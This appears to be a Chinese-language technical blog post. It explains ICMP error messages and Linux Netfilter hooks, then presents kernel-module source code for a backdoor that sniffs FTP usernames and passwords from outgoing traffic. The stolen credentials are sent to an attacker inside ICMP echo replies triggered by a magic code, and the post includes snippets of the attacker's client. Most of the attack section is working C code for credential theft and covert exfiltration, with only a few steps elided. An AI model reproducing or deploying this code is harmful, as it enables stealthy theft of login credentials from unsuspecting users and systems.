1、套接字之ICMP差错报文
所有的ICMP差错报告报文中的数据字段都具有同样的格式。将收到的需要进行差错报告IP数据报的首部和数据字段的前8个字节提取出来,作为ICMP报文的数据字段。再加上响应的ICMP差错报告报文的前8个字节,就构成了ICMP差错报告报文。提取收到的数据报的数据字段的前8个字节是为了得到运输层的端口号(对于TCP和UDP)以及运输层报文的发送序号(对于TCP)。
参考文章:ICMP报文分析
2、Netfilter和dev_queue_xmit分析
dev_queue_xmit是一个网络设备接口层函数,它将构造的封包发送给底层的driver。
int dev_queue_xmit(struct sk_buff *skb) { return __dev_queue_xmit(skb, NULL); }
sk_buff,全称socket buffers,中文名字叫套接字缓存。它作为网络数据包的存放地点,使得协议栈中每个层都可以对数据进行操作,从而实现了数据包自底向上的传递。该结构维护收到的或者要发送的网络包,存储网络包解析的结果。
在将封包发送给driver之后,在钩子函数中需要返回NF_STOLEN。它告诉Netfilter“忘记”数据包。这告诉Netfilter,钩子函数将从Netfilter获得了数据包的所有权并自行处理这个数据包,Netfilter应该放弃对它的所有处理,但这并不意味着数据包的资源被释放,数据包及其各自的sk_buff结构仍然有效。
Netfilter可以控制五个hook点,当Netfilter放弃当前数据包后,不再将数据包传到下个hook点。
3、后台程序窃取网络信息
后来程序窃取有用信息有两个步骤:
1)在受害主机上安装可加载内核模块,通过netfilter在ip层hook点利用钩子函数进行信息的窃取,并在本地开辟内存保存窃取到的信息。
post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_INET_POST_ROUTING; nf_register_hook(&post_hook);
static unsigned int watch_out(unsigned int hooknum, //对于要朝外发的包,如果是检测的目标端口和协议,则窃取用户名和密码 struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = skb;
/*......省略部分步骤......*/
/* Parse the FTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) check_ftp(sb); /* We are finished with the packet, let it go on its way */ return NF_ACCEPT; }
static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4)); //ip_hdr->ihl即ip头的长度 data = (char *)((int)tcp + (int)(tcp->doff * 4)); //tcp->doff即tcp头的长度 /* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if (username) if (ip_hdr(skb)->daddr != target_ip || tcp->source != target_port) return; /* Now try to see if this is a USER or PASS packet */ if (strncmp(data, "USER ", 5) == 0) { /* Username */ data += 5; if (username) return; while (*(data + i) != '\r' && *(data + i) != '\n' //寻找username的长度 && *(data + i) != '\0' && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) //多给存放username的地方分配2个字节的空间 return; memset(username, 0x00, len + 2); memcpy(username, data, len); //复制username到指定空间 *(username + len) = '\0'; /* 在username尾部添字符串结束符,方便以字符串形式输出 */ } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ data += 5; /* If a username hasn't been logged yet then don't try logging * a password */ if (username == NULL) return; if (password) return; while (*(data + i) != '\r' && *(data + i) != '\n' //寻找password的长度 && *(data + i) != '\0' && i < 15) { len++; i++; } if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) //多给存放password的地方分配2个字节的空间 return; memset(password, 0x00, len + 2); memcpy(password, data, len); //复制password到指定位置 *(password + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "QUIT", 4) == 0) { /* Quit command received. If we have a username but no password, * clear the username and reset everything */ if (have_pair) return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; } if (!target_ip) target_ip = ip_hdr(skb)->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ if (have_pair) printk("Have password pair! U: %s P: %s\n", username, password); }
2)利用icmp echo传出信息。当受害者主机接收到带有特别code的icmp request时(称为magic code,该code在攻击者安装内核模块时由攻击者规定,必须独一无二,使受害主机能够判别该icmp request是攻击者发送的),将存储在受害主机本地的信息写入icmp报文,通过icmp reply传给攻击主机。
pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_INET_PRE_ROUTING; nf_register_hook(&pre_hook);
static unsigned int watch_in(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT; /* Is this an ICMP packet? */ if (ip_hdr(sb)->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO //MAGIC_CODE需要与攻击者构造的icmp包头中的code值一致,才能判断该icmp请求包是攻击者发送的 || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { //并且这个MAGIC_CODE必须独一无二,不能是常用code类型 return NF_ACCEPT; }
/*......交换ip,交换mac,作为icmp reply的头部,过程省略......*/
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); //tatget_ip是server_ip if (username) //memcpy(cp_data + 4, username, 16); memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); /* This is where things will die if they are going to. * Fingers crossed... */ dev_queue_xmit(sb); //将封包通过这个网络设备接口层函数发送给driver /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0; // printk("Password retrieved\n"); return NF_STOLEN; //Netfilter不再转发此包 }
攻击者的工作
fprintf(stdout, "Sending request...\n"); sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)); fprintf(stdout, "Waiting for reply...\n"); recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size);